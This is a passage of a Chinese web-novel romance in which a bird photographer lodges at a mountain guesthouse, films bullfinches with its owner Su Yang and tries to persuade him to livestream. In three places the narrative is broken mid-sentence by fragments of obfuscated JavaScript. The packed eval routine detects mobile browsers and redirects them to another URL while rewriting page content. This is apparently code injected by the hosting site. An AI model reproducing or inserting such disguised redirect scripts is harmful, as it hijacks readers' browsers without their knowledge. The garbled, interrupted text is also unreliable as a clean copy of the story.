苏漾说:“我只是挑了近的,方便你来回。当然也有远一些需要开车过去的,你要加到地图里吗?” “先不用。”他埋头做着笔记,“这些点够拍几个月的了。” 谢白颐其实有些庆幸,本以为这个地方只能蹲守到花彩雀莺和灰头灰雀,没想到居然竟然这么齐全。 还真是捡到宝了。 “其实……”那道声音再次响起。 看出对方的迟疑,工作中的人抽离片刻,抬头扶了一下镜框:“你说。” “全国的鸟类栖息地,我都大概知道些。” 光晕笼得那人温顺,明眸带了小心翼翼地祈求,水灵灵的,像旋在荷叶上的露珠。 一个想法在谢白颐心底悄然行成。 “既然如此。”他合上笔记本,镜片后闪过一丝意味不明的暗光。 “三个月是肯定不够的,我估摸着至少要长住两年,劳烦苏大老板拟定一份包养合同吧?” 4. 怪可爱的 苏大老板长了张明艳灵动的脸,脑子却意外地单纯。就这么被诓着签了为期两年的长租合同,也愣是没想起来在包吃包住的条款协议上讨价还价,只是暗中嘟囔了几句好穷。 谢白颐在旁边听见了,暗中勾起嘴角,刻意忽视了从满心算计里生出的几分愧疚。 老板开店倒贴做生意,怕是古未有之。 苏漾品味不错,也看得出来在装修设计上花了不少心思。 黑边落地窗将风景框出,醒来便能看到满片绿意盎然。白色的毛绒地毯盖在原木地板上,围着一套颇有设计感的米色沙发和黑色石磨肌理小桌,每日都有不同的新鲜水果和花茶摆在上面。 大床也足够宽阔,床品柔软舒适,189cm的身高躺下去不显局促,哪怕平躺着写个大字都绰绰有余。 浴缸用的是大理石一体挖琢,富贵如谢白颐都忍不住感叹:“单这套洗浴用品就得花不少钱了吧?” 苏漾回忆了下,不太确定说:“忘了,好像六千多。” 鸡蛋忽地脱离了手,砸在地上摔出花。 廊下常有柔和舒适的风穿过,几套给旅客观景用的休闲桌椅随意排开,显得温馨惬意。转过拐角便是私人小厨房,住客如有特殊胃口吃不惯民宿提供的饭菜,也可以交付同等价格,自己选用食材下厨。 谢白颐在这里住了三天,只觉在国内的民宿里,此处体验堪称上层。无论是从自由度、舒适度、审美观感以及功能性来看,都不应该起个那么土的名字,开仅400出头的价格。 “酒香也怕巷子深呐!”他真诚建议,“你把民宿装修得这么好,就没想过发自媒体运营宣传一下?” 苏漾犯了难:“运营多贵呢?我可不够钱。” 谢白颐说:“你都有钱装修成这样了?不够钱运营?” 苏漾倒也坦诚:“就是因为装修成这样,所以才不够钱。” “......” 白吃白住好几天的良心终于被牵动,接下来的几日,小厨房的明火头次燃起,三两天装鸡蛋的框就见了底。 谢白颐有些尴尬,为了补偿,专门驱车前往县城买了一周用量的食材。并且因考虑到拍摄鸟类需要遮蔽,顺带捎了两套迷彩服。 苏漾看上去有些不好意思,千恩万谢地接过,当晚就听见他嘱咐厨子朋友好生招待。 辛亏谢白颐拦得迅速,否则一桌满汉全席能他俩吃三天。 筷子在碗里打得颇响,吸引了不会做饭的苏大老板。 “怎么又是鸡蛋?”对方睡眼惺忪地问,“能做点儿别的吗?” 谢白颐也吃腻了,但他无法,只能牵起强笑:“我只会做西红柿鸡蛋打卤面。” 为了拍摄蹲点,这几日都起得早。天还未亮,苏漾也不好意思将厨师喊来,凑在小厨房里和谢白颐互相干瞪眼。 两个大男人最终还是向能力妥协,站在锅边也不用碗,直接拿起筷子在灶头前你一口我一口,囫囵吞枣凑合得比猪食还随便,应付几下就上了山。 高原风光优胜,湖水透着醉人的蓝绿色,像特调的鸡尾酒,瑰丽绚烂。 这里久未有人来,落叶踩在鞋下沙沙作响,远处偶然传来几声鸟鸣,愈发显得空旷寂静。 谢白颐环顾四周频频赞叹:“这里的风光倒不比景区差,更显古朴自然。” 苏漾随手折了根树枝拿在手里晃着玩:“毕竟未开发么,少了人工雕琢的痕迹,也没被商业气息破坏了氛围。” 摄影器材在林间哐啷作响,随着步伐走动惊飞几只灰扑扑的鸟儿,谢白颐本能抬眼望去,失望地发现并非本次拍摄主题。 不知哪位好心的山民搭了条石板路,走下来鞋尖上没沾多少泥,显得干净。 他一边走一边看,心里已经开始计划起回头路上需要拍摄的机位和角度。 正在经营的这个自媒体账号专门负责鸟类的宣传与拍摄,共分为两大板块:其中,纪录片多为风趣科普,画面集中在拍摄主体上,而vlog视频则更多记录了拍摄花絮,沿途风景和美食逸闻照单全收,倒更像游记。 出发前,苏漾也曾好奇为何要带两架装备,换来了谢白颐不怀好意的笑。 “两架装备算什么?真正高质量的成片得四五个机位同时拍呢!” 说话间,庞大的装备被挂在人纤细的脖子上:“苏大老板,请带路吧!” 苏漾敢怒不敢言,只好委屈着表情,小心翼翼地护着昂贵的摄影器材,生怕一个不小心,又倒欠好几大万。 这么下去总不是个头,看在对方倒贴包养还做牛做马的份上,谢白颐觉得自己有必要怜香惜玉一把,帮大美人好好谋划生意上的事儿。 做着免费劳工的苏大老板对此浑然不觉,他步履轻巧,十几斤重的器械仿佛轻若无物。脚尖点在山石间蹦跶,活泼得如同枝头雀跃的百灵鸟儿。 沿路溪流泉涌,大小瀑布在此间交错,绿绒绒的苔藓随意分散着,染上清凉的绿,夏风吹来更显纯粹。 这种治愈系氧吧森林在整个西南地区极为常见,谢白颐打工的时候替老板走南闯北,也曾来过南区北部观光赏玩。只是公费出差定然要蹭旅游的便利,在景区挤破头的体验也终究比不上人烟罕至的一隅安静。 阳光旋着圈儿穿透密林,钻进山溪的石缝间,仿佛能净化一切来自城市的喧嚣。 谢白颐在领头羊的推荐下选了个不被遮挡的机位,将云台阻尼调节到合适的松紧位置,景观在昂贵的镜头下色彩层次更为丰富,卓越且极具观赏性的质感令久经沙场的摄影老手都忍不住为之惊叹。 “像你这样天天住在这种山明水秀的地方,应该不用去景区玩了吧?” “这才哪儿到哪儿?”苏漾摆好两张折叠椅,伫立一旁柔柔笑道,“人家风景连成片区,我这附近只有几道瀑布和这潭子水,总不能放到一块儿比。” 他今天为了方便,长长的粉发被盘成结卡在脑后,用一顶县城里随便买的迷彩帽盖住,遮蔽去所有吸睛的颜色。 即便朴素至此,青春靓丽的模样仍旧引得谢白颐频频回头。 无辜的人扬起笑:“你不看镜头,看我做什么?” 谢白颐平日锋利的眼神不知何时变得柔软:“你好看。” 一句话,让白瓷般的脸庞迅速染上红霞。 苏漾紧忙从塑料袋里抓了两把牛肉干玩命儿地啃,以此来掩盖惊慌失措。 谢白颐笑着凝望,心中却泛起嘀咕。 如此惊才绝艳的首府学子,居然没有在自媒体发达的网络上出圈,连张神图都没能留下么? 再不济,军训的时候总有人拍的吧? 他这般想着,也这般问了。意外地,苏漾眼中划过难堪的神色。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240432|197706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我倒是感谢没出圈,不然......” 话头戛然而止,留下道抓人肺腑的悬念。 谢白颐本想追问,但在看到对方触景生情的神色,忽地止语。 算了,不该问的,还是少打听为妙。 此处位于寒温带针叶林和夏绿阔叶林的交界地带,远处累着裸岩,高山树冠林立,极其适合灰头灰雀这种鸟类在此栖息繁衍。深橘黄与褐灰色交织成雄鸟的外观,而雌鸟则色彩统一,背部仅留了黑色条带打破枯燥。 “高级灰。”谢白颐看着监视器里灵动趣致的雌鸟,不由笑道。 “灰头灰雀,属于雀科灰雀属的鸟类,别称赤胸灰雀,只不过这是以雄鸟来命名的,多少有些以偏概全了。”苏漾掏出麻酱素毛肚,两包下肚,极其认真地科普道,“这种鸟不算金贵,西南地区海拔1500-4000米的高山带都能见到,算是我国四种灰雀里最常见的那一类了。” “四种灰雀?”谢白颐有些意外,似乎没想到苏漾对鸟雀知识如此了解。 但他没空回头,检查器里的画面需要随时配合云镜调节。即便如此,口和脑子却是半点儿没闲着:“还有哪三种?” “褐灰雀,红头灰雀和红腹灰雀。”科普的语音停了停,又补充说,“不过红腹灰雀得去我们对角线的东北才能碰见。” 谢白颐固定好新的角度,随手从身边人怀中的袋子里掏出牛肉干解馋:“前面两种这附近有吗?有的话刚好做个系列。” 苏漾回忆了一下:“褐灰雀应该可以,但红头灰雀要更往北走。” 谢白颐向北方眺望:“越过雪山?” 苏漾笑笑:“不止,跨省呢!” 那有点远了。 谢白颐打消了系列节目的念想,目光重新专注在灰绿蔼蔼的密林中。 这一拍,便到了日上三竿。 野外不能生明火,好在民宿离得近,苏漾便喊了小伙伴煮了两碗酸辣粉端上山来。 “这个你能吃吗?” 谢白颐回头,撞入了小心翼翼的眸。 乖又讨巧的意味在两汪镜湖中流转,衬得金丝眼镜男像个暴君。 他压下奇异的念头,接过来吸溜两下:“能,酸辣开胃,就是分量有点少了,下次多做点。” 话刚出口,他就后悔了。 这不是摆明了蹭便宜呢! 鬼祟着侧目看去,果然见到那张漂亮的脸上皱起纠结。 “你要多少?” 话中带了明显的顾虑。 谢白颐也怕把这小鸟胃给吃穷了。他看着对方碗中还没自己一半多的粉,罪恶感油然而生:“我看错了,这些就够,挺好的。” 苏漾的眉心这才舒展开。 一个吃得快,一个吃得少,不多会儿,两碗酸辣粉就见了底。谢白颐撕开独立湿巾,将碗和筷子都擦干净用袋子套好,转头把沾满红油的布团扔进垃圾袋。 这个习惯,是刻在每一位环保题材摄影师骨子里最珍贵的品质。 苏漾眸中掠过感激的笑,蜻蜓点水般触碰在心弦上。 不知怎么地,谢白颐看着那张脸出了神,很久之后,忽然灵光乍现。 他盯着苏漾的脸,通过眼神展露出职业精英常备的深情款款。 “苏大老板,你要不要考虑和我一起开个直播?” 5. 今天是个好日子 苏漾闻言没急着回答,只是安静地回望,仿佛在尝试理解。 谢白颐也不急,很有耐性地解释说:“我看你对鸟类蛮熟悉的,不如加入我的自媒体账号,做点儿保护动物专题的科普讲解,怎么样?” 苏漾笑了:“这种直播哪有人看的?纯浪费时间。” “那可不一定。”谢白颐说,“就冲你这张脸,听不进去的也能看进去。” 苏漾不可置否,没有答应也没有反对,只是望着天边白云漫卷,像白凤凰的尾巴,拖曳出长而优雅的弧度。 云淡风轻的天气一如工作内容,慢且枯燥,容易让人待不住。苏漾没有正面给到谢白颐回复,随便岔开话题说了几句,就躺在太阳椅上沉沉睡去。阳光落在他的侧脸,被长翘浓密的睫毛打出阴影,映在瓷一样的白上。 真漂亮啊! 谢白颐没忍住,拿出手机给人拍了两张特写。 作为一个职业摄影师,虽说拍摄野生动物是他的强项,但人物动态捕捉也是手拿把掐的硬实力。细腻白净的面庞被几缕粉色发丝轻抚,风吹过扫出自然的弧度,衬得梦中人安恬宁静。 谢白颐横竖舍不得动,干脆以原图形式保留在了手机里。 就冲这张脸,直播企划完全可行。 但前提是,这位大美人得愿意配合。 该用什么方法说服他呢? 谢白颐觉得此时的自己活像个暴君,恨不得将对方拉下水绑在身边。但他也不急。毕竟近水楼台先得月,迟早能想出办法。 摄像机在高温炙烤下有些发烫,眼瞧着夕阳将至,谢白颐紧忙掏出手机,抓住光的尾巴拍了十几段素材。 猛地转身,闯入了明艳的脸庞。 谢白颐被吓了一跳:“你醒了?” 苏漾显然睡得有些懵,揉着眼怼上手机跟前,带了好奇:“这是在干什么?” 懵懵懂懂的神态探头露尾,活像刚才拍摄的小鸟。 奇异的念头闪过,谢白颐不知道该做什么解释,毕竟刚才他那一惊一乍的反应,怎么看都像偷拍被抓包。 更何况也确实这么干了,心虚得紧。 误闯镜头的人没得到回复,也不多问,只点了点头望着天空感叹道:“日落了,你还要继续拍吗?” “录了夕阳再走吧。”谢白颐刚好不舍得晚霞。 云边铺着绚烂的红,揉着橙紫中随意流淌,泻入蓝绿的湖水中。 谢白颐看着镜头中倒映着人类调制不出的色彩,再次感叹于大自然的鬼斧神工。 怪道驴友常说,西南以北,是上帝遗落人间的宝石。如今看来,果然名不虚传。 太阳在山尖隐去最后一道光芒,没拍到理想画面的人有些可惜。 “走吧!”他摇着头,“今天只有雌鸟出没,一个T的镜头多了点儿,回去得删。” 苏漾不懂摄影,闻言惊讶:“一个T?怎么要拍这么多!” “不然为什么说摄影费钱呢?一张内存就得差不多1000块了,我们干这行的,人均3张备用。”谢白颐介绍起自己的土豪装备时眼中满是骄傲 对此,装修了个豪宅民宿的苏大老板不由啧啧称奇。 将支架收起来时已近黄昏,谢白颐遥望远山,有些感叹:“看来还得再蹲几天,不管怎么说,至少得把雄鸟给拍上。” 苏漾不语,主动背上架子走了几步。 山风吹得他发丝微乱,扑在脸上,多了几分风情。 是的,风情。 谢白颐对此也很意外。 他不是很愿意用这种词汇去形容一个男人,总觉得调笑有余而尊重不足。可眼前这人不知怎地,跟个魅魔成精似的,总能让他生出许多不合时宜的形容词来,甚至连头发丝都长在了自己的审美点上。 作为一个二十八岁仍旧保持母胎单身的绝壁大帅哥,谢白颐可谓把男德二字发挥到极致。嘴上调情话背了一套又一套,手却跟个大爷似地背在身后陪着脚步遛弯儿。 脱单困难对他而言是极为苦恼的事。不是没有人追,只是从未体会过何为心动的感觉。 心像顽石如如不动。谢白颐不知被迫当了多少次某人口中的Steve,差点冲动剃头出家。 “你儿子我要去当全国最帅的和尚。”自以为看破俗世的谢小子对他老子如此说。 话音刚落,几板子鞋印让他瞬间回归红尘。 后来,谢白颐把自己单身的责任归咎于职业病,美其名曰看过太多惊才绝艳的人,拍过太多的鸟兽动物,已经分不清是人兽情未了还是审美疲劳。 苏漾的出现拯救了这个坏毛病,让他久违地体验到何为眼前一亮。 脚步在山石间落下印子,谢白颐走在后面,看着前方的粉发陷入沉思。 他想抓住这只活泼的百灵鸟,但苦于没有手段。 “我好像知道哪里可以找到雄鸟!” 前方脚步忽然停下,回眸顾盼,笑靥如花。 谢白颐正走着神,猝不及防一个急刹,被树枝刮了满头。 他呲牙咧嘴伸手去扯头发,眼神紧紧盯着始作俑者,似乎在说:都怪你。 苏漾无法,只能走上前,温和着力道帮人从灌木的魔爪中解脱出来。 指尖柔柔地划过头皮,扫得人心头发软。 他盯着因抬高身体而露在眼前的喉结,莫名地,有些口渴。 完了。 心中划过巨大的两个字。 灰屑被拍落下来,谢白颐的眼中翻滚着莫名的情绪,把苏漾看得心慌。 对方后退两步,蹭蹭跑出去,拉开一段距离。 像惊弓之鸟。 谢白颐越走越渴,余辉映散的热气困在山间未消。他路过溪边,蹲下来捧水洗了把脸,再捡回刚才丢在树枝间的话题:“你怎么知道雄鸟会在哪里出没?” 苏漾接了满壶的山泉水,坐在旁边的大石头上等他清醒,闻言站起身拍去衣服上的土。 “灰头灰雀有个习性,喜欢找些浆果吃,堪称鸟界吃货。这个地方看上去光秃秃的,应该被吃得差不多了,这个季节,估摸着南边的沙冷杉林里能找到它的身影。” 他解释得清晰,也不带拗口的词汇,三两下嘎嘣脆,听着容易入耳。谢白颐将每个知识点留心记下,末了将注意力放在某个词上。 吃货? 他会心一笑,目光落在了被粉发包裹着的白瓷脸上。 只见那自然勾起的嘴角处,赫然挂着点滴辣油,不用细想也知道是嗦粉剩下的。 这也是只吃货。 谢白颐在心里默默给人打上了标签。 “你要不要考虑吃播?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240433|197706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 话题转的太快,苏漾不太能明白他的脑回路:“总不能叫我吃鸟吧?” 眼瞧着对方的神色从震惊逐渐转成愤怒,两手一拍就要打上来,谢白颐心中大喊救命。 “停!谁叫你吃鸟了!”谢白颐手掌竖起做制止状,“我是看你平常喜欢塞小零嘴才提这个建议,叫你做吃播无非为了挣钱。” 苏漾抬在半空的无影脚刹住,眼中压着质疑。 果然,温柔只是假象,暴力美人才是英雄真本色。 谢白颐有些头疼。 “我整个下午都在思考直播的事。”他尽量放慢语气,用安抚的口吻解释说,“毕竟你包吃包住两年,费用不小,总得有收入才能支撑下来。我早上提到的科普直播是个好法子,你的民宿装修高档,可以借来用作直播宣传,说不定能吸引粉丝前来体验呢?” 苏漾收回了晾在半空的拳脚,低下头一言不发。 谢白颐搂上对方的肩膀,好哥们儿似地说:“别对我那么有敌意,我是做保护宣传的,不会杀生。” 苏漾斜睨。 他马上改口:“至少不会杀鸟吃鸟。” 眼见着那张紧绷的冷脸终缓和下来,谢白颐终于松了口气。 “我认真的,你要不考虑一下?” 苏漾掰开他勾肩搭背的手,在前方带路,冷冷道:“先回去再说,已经看不见路了。” 星子点在屋檐,架起长焦镜头可以拍到整条银河。谢白颐坐在走廊处,泡了杯花茶静静仰望,拍摄装备在身前支棱着,借着等饭吃的空档录个vlog用的延时镜头。 苏漾端着菜走过来,有厨子就是好,做的菜不说如何色香味俱全,但保底能下饭。 “松茸炖鸡,烧烤耗牛肉,西红柿煨金针菇,还有木耳鸡蛋炒黄瓜片,能吃吧?” 最后三个字已经成了固定的餐前问候。 谢白颐其实没那么挑,说到底,只要不是稀奇古怪的蜘蛛虫子老鼠大蟑螂,他都没啥忌口。 菜是在县城买的,选的也是平日里常吃的。此时加工成鲜香扑鼻的菜肴,不由引得食指大动。 他俩吃饭向来没有固定的地方,此时就着庭院的矮桌曲着身子,面对银河扒拉饭菜飞快。 “我说,明天如果能早点收工,回来之后叫你朋友教我们做几道早点?” 苏漾正有此意:“我刚才跟他说了,否则天天吃同一道菜,真顶不住。” 菜盘子里的鸡蛋一动未动,果然是腻了。 倒是松茸炖鸡意外光盘。 “怎么样?哥选的走地鸡,口感不错吧?” 苏漾似乎已经习惯了他时不时自大地炫耀两句,颇为平静地点点头。 他吃得认真,谢白颐也看得入神。目光停在对方筷子的松茸上,一个计划在心里悄然形成。 饭后,他半躺在摇椅上看银河,见苏漾洗完碗出来,邀请对方坐下。 “跟你商量件事?”一杯花茶推到对方面前。 苏漾接过喝了,难得愿意接这个话题:“你说。” 今天可真是个好日子,能拍到银河,鱼还上了钩。 谢白颐嘴角弯起,亮光在金丝眼睛后微微闪过。 “我帮你在vlog里免费做宣传,你开直播科普鸟类相关知识,营销民宿一举两得,如何?” 6. 我在贿赂你呢! 苏漾不会直播。 他人虽暴力了点,但也老实。听闻提议认真思考了片刻,也没急着反驳,只是微微垂眸自爆短板。 “我不会直播,不懂后台操作,与观众互动一窍不通,表情管理比死猪还难看,更枉论最重要的话术和留存技巧。” 乍听上去,全是死穴。 但谢白颐却对此不以为然:“没事,脸在江山在,你会科普就成。” 苏漾望着他,欲言又止在眼波里流转,憋了半天才简单说道:“我不专业。” “你不是学生物的吗?” “生物学,不是动物学。” “......” 谢白颐忽然好想抽根烟。 他已经很久没有这么丢脸过了。 腕表的指针停在晚上10点半,月朗星稀的夜空看得人心旷神怡。他默不作声靠回椅背,借着清风微拂扫去身上的燥热,以此缓解尴尬。 即便苏大老板如此自谦,他仍旧觉得直播不失为个好提议。 空气中飘着微尘,夏日虫鸣有一阵没一阵地响在草从里,适时填补了对话的空白。 过了会儿,谢白颐忽然又说:“实在不行,擦边也可以。” 苏漾的表情有些一言难尽。 他以为这个话题早已结束了,没想到对方只是中场休息,趁他不注意来了个回旋镖。 “你觉得,我会那种媚人的东西吗?” 谢白颐觉得不会。 毕竟眼前的这位粉发美人并非如看上去的那般柔弱无骨。真要惹急了,拳打南山猛虎、脚踢北海苍龙压根不在话下。 他也曾想给人拍几张照片留作纪念,谁知这大美人往镜头跟前一站,就发现不对劲了。 那双明如秋泉的瞳孔莫名紧缩,紧紧地盯着某个地方,与在他房里发现蜘蛛烤来吃的那个下午几乎一模一样。 谢白颐当时差点吓得扔飞摄像机,过了好久才勉强找回失去的理智。 他有些无奈,提点道:“眼神可以柔和点儿,别那么坚定,看上去像要入伍一样。” 苏漾的态度是配合的,奈何身体与脑子脱节。他努力调整老半天,最终还是变成了呆若木鸡的模样。 自然而然,那张照片到日落西山也没拍成。 谢白颐有些泄气,只觉得自己的专业技能被挑衅了。偏偏又舍不得这张脸,于是思前想后,制定出一个完美的迂回战术。 他巧舌如簧,三两下征得了苏大老板的肖像权后,便开始肆无忌惮地抓拍录像。 不得不说,自然状态下的苏漾和摆拍时判若两人。镜头里随便提取几帧都是惊为天人的存在。谢白颐藏了私心,将那些画面一一截图,全部锁进了私密相册里。 往昔记忆逐渐凝固成刻板印象,因而在谢摄影师的认知中,让苏漾擦边,确实有些太为难对方了。 但他还是有点不死心。 “先试试,万一可以呢?”不靠谱的谢剥皮开启鼓励怂恿模式,“毕竟每个人都会经历从0到1的过程。” 也不知道是不是地表太过空旷,还是趴在镜头前欣赏银河走了神,苏漾好像把话听岔了。 那张被欢喜充盈的脸庞瞬间闻之色变,看向谢白颐的目光像是在盯贼。 “那你玩的挺花。”良久,他才吞吞吐吐地说了声。 —— 次日清晨,二人再次背起大包小包走进山间。 有了上一日的经验,这次二人的配合明显默契许多。为了避免设备再次出现碰撞,他们刻意将距离保持在了科学计算的范围内。 苏漾在前引着去松林的路,谢白颐跟在身后走走停停,脑子里兀自回想着昨晚不欢而散的谈话。 他这时才反应过来,苏漾那句话究竟何意。 “草。” 一句国粹忍不住被骂了出来。 苏漾心里想必也憋着疙瘩,谢白颐不解释,他也懒怠求证。 因而很长一段时间,他们互相都没有搭话。 早上的打卤面在胃里翻腾着,谢白颐近日出门前,都会反复念诵几句摆在民宿前台的《高原反应急救指南》,因而很快就确定了自己的症状。 他慢条斯理拉开背包,从里面翻出个便携式的氧气瓶。 “又高反了?” 上一秒还生闷气的人忍不住走上前来,关心询问道。 他的声音很轻,舒和柔缓,带了明显的安抚意味。 谢白颐不想领情,正要凉凉地甩个白眼过去。却在视线还未到达之处,撞进了那双朦胧如纱的眸。 他怔住,定睛又看了又几眼,忽地出神。 那里的坚定不知何时已被担忧取代,流露出来温情让人如坠烟雾,自甘沉溺在那份轻柔缱绻的舒适当中。 呼吸短暂地停了。不知为何,谢白颐忽然回想起在医院里发生的一幕。 那时,面前的这个人主动蹲在自己脚边,仰头间将桀骜敛去,神色因讨巧而显得乖软。 那是他第一次用眼睛捕捉到来自西南地区的水波潋滟。 正如现在,晴光正好。 谢白颐从那双揉碎金光的眸中挣脱出来,慢慢找回了意识。 原来刺头般的苏大老板,也是可以做到柔软如云的。 “我信你。”他无厘头地说。 苏漾举着氧气瓶的手一顿:“什么?” “我信你。”谢白颐就着对方的手吸了口氧,重复道,“你去做主播,绝对没问题。” 苏漾默不作声地撤回救命稻草,没有正面回答。他的包裹塞了物资,鼓鼓囊囊地取也费劲,塞也费劲。 清澈的青年好像并不懂得取舍,只是一味地用蛮力把氧气瓶塞了回去,撑得背包变形涨大。 不小的动静吸引了谢白颐的目光。 他这个时候才发现,方才拿出来的氧气瓶并没有被打开,仍旧原封不动地握在手里。 这么说来……苏大老板是用了自己的那罐给他吸氧? 怪暧昧的。 谢白颐摸着唇,有些心不在焉。 被人用贴身物件救了一命,心情总归会发生些微妙的变化。因在后半段的上山路里,他一直无意识地凝望着对方的后脑勺,思绪繁杂比蜘蛛网还乱。 眼前这个来路不明的美人,浑身上下都是迷。 不知不觉间,他被引入了丛林深处。 “到了。”轻柔的话语让人顺势停下脚步。 比泥路或石地的质感不同,松针铺就的地蔓更显柔软踏实,不容易发出惊动鸟雀的声响。谢白颐放下器材环视一周,只见目之所及之处,安静如鸡。 “这里真能找到雄鸟?”他有些怀疑。 苏漾点头,解释说:“只有这片的松林还保留了部分灰头灰雀常吃的浆果,我觉得可以考虑蹲守一下。” 谢白颐也听劝,当下就熟练地架起装备。 有句老话说得好:来都来了,高低要尝尝咸淡。 动作间,他又劝起了直播的事:“大美人,开个直播呗?又不用你花钱。” 苏漾似乎被这隔三差五的话磨习惯了,当下也只是神色如常地揉了揉耳朵,支起太阳椅往上一坐,随手拉开零食包。 “隔行如隔山。”他口齿不清地说,“大爷您也别着急,好歹让我考虑考虑。” 不知怎地,他莫名端起了上学时期偷师来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240434|197706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口音,说得那叫一个歪瓜裂枣,也不忌讳。 无端被赋予“大爷”称号的谢白颐连吐槽的点都找下不手了。 拍鸟时最怕忽如其来的动作或声响,故而两人都默契地保持安静。馋嘴的人只吃了几口薯片,很快就塞回了袋子里。 谢白颐工作时神色专注,目光定在显示屏上,深远沉静如同远山的松。 苏漾在旁边看着,不知怎地,心里垒得夯实的土忽地被人撬了一铲子。 酸酸地,又有点软。 他眼中蒙上茫然,在对方看不见的角度里,偷偷按了下心口。 好像没病,也不痛。 这一场蹲守约莫等了三个小时,谢白颐饿得饥肠辘辘,刚准备回头提出先吃午饭的需求,就见苏漾坐直了懒洋洋的身体,目不转睛盯着显示屏。 “来了。” 谢白颐转头看去,只见一只橙褐色的雀儿跳进屏幕。 他不由另眼相看地多望了苏漾两眼,拉人入伙的决心更坚定了。 得益于苏大老板的知识,谢白颐逮着好不容易出现的公雀使劲儿薅镜头,连午饭都忘了吃。 直到光线收暗,他才心满意足地关闭镜头,回过头对陪了他整日的向导说:“饿了吧?这一次难得捕捉到好素材,苏大老板功不可没,今儿个你谢大爷请吃大餐!” 苏漾从椅子上睁开眼,懒着嗓音说:“我不饿。” “不饿?”谢白颐惊讶,“你吃仙丹了?” 对方嘴角动了动,最终还是没有说话。 他自觉地收起椅子,扛起一架装备,带头下了山。 今日拍摄很是顺利,二人收工早,趁着时间富裕,苏漾一回到民宿就钻进小厨房,找到自己的厨师朋友。 他半点儿没忘记要学做早餐的事。 谢白颐放好装备,也随后跟了进来。 厨子朋友名叫何桉,名字朴实无华,人也不算出挑,却能靠着手艺留住了两个会吃不会做的胃。 他把过桥米线的作法从头到尾讲得详细,不一会儿,谢白颐便有些昏昏沉沉。 谢家大爷向来不爱做饭,仅会的两道菜也是当年留学期间,为了不被饿死勉强学会的。 大多数时间里,他都选择不开明火,改用沙拉酱维持营养摄入,再给点儿小费蹭几碗来自国内同学的硬菜。 当然,有时也会去华人街找家中餐厅,把钱当冥币烧。 出国前,谢白颐不知天高地厚,对学做饭这件事儿十分不屑,还极为大男子主义地叫嚷着君子远庖厨。 谢父闻言,一脱鞋扔了过来:“等着吧!饿不死你!” 他那时还不能理解,寻死着自己长了张中西合璧的胃,好不容易能吃上正宗洋人餐,大快朵颐还来不及,怎可能饿死? 后来才知,全世界最好吃的洋餐基本都出自国人之手。 这里位处山区,购买水产不太方便,做不了鲜香甜美的花甲丝瓜汤。因而他拉着苏漾共同过上了干瘪的苦日子,少说将就了五个早上的西红柿鸡蛋打卤面。 叫别人伺候自己多不好意思。谢大爷再不愿意努力,此时也不由拿起连夜赶论文的精神,支棱起眼皮将步骤记得清晰。 何桉是个贴心肠的,怕两个生手消化不了,只教了一道菜就把二人推出门外,自己关起厨房门叮叮当当忙活起来。 谢白颐言出必行,说了请人吃大餐便真的点了满桌。等到苏漾给他换过被褥打扫完房间之后,抹汗出来的一瞬间眼都直了。 “你真请?”他有些为难。 谢大爷无视对方僵硬的表情,笑语盈盈。 “没看出来么?”他说,“我这是在贿赂你呢!” 7. 苏大老板,真香 面对谢白颐的贿赂,苏漾可耻地心动了。 他拉开椅子坐下,拿起筷子眼神在各大餐盘中转了好几圈,无从下手。 铁板牛肉,羊肚菌炒辣椒肉,鱼香肉丝,麻婆豆腐,水煮鱼片,白菜香菇卷...... “花了多少钱?”穷的口袋叮当响的苏大老板压低声音,惴惴不安地问道。 谢白颐倒了杯金花茶:“不多,你的浴缸零头。” 只听对面倒吸一口冷气。 谢白颐也不客套,夹起昂贵的羊肚菌就往嘴里塞:“苏大美人,你好歹也是个见过世面的富哥,十几个浴缸的钱你都花得起,怎么还心疼起我钱包里的百来块了?” 苏漾放下筷子喝了口水。 嗓子有点干。 钱包也有点瘪。 “今非昔比,谢大爷您可甭抬举我。” 谢白颐闻言挑眉,好心劝谏:“你哪儿的人啊?南腔北调可不兴学。” 苏漾沉默着不说话,摆明了没打算接受对方的建议。 他就着筷子上的铁板牛肉吞咽了几下,又捞了勺麻婆豆腐拌饭。 谢白颐坐在对面静静地看着,感叹赏心悦目的同时,开始猜测起对方的身份履历来。 这个人每次都是一样,只要涉及到个人隐私,都会瞬间抛弃所有清澈单纯的呆瓜形象,头脑变得尤为清醒、 浑水摸鱼的策略屡试不爽,他避而不答,把自己保护得很好。 如此谨慎的行径让人不由怀疑,他是否接受过专业的反诈训练,怕是连骗子的电话都不会接吧? 谢白颐自认识趣,见状也只当随口提起,不再追问,转头又提起了直播的事。 只见苏漾嗦了口酸辣粉,擦过嘴,半天才说:“你会操作吗?” 还......真不会。 一句话,问倒了翘首以盼的人。 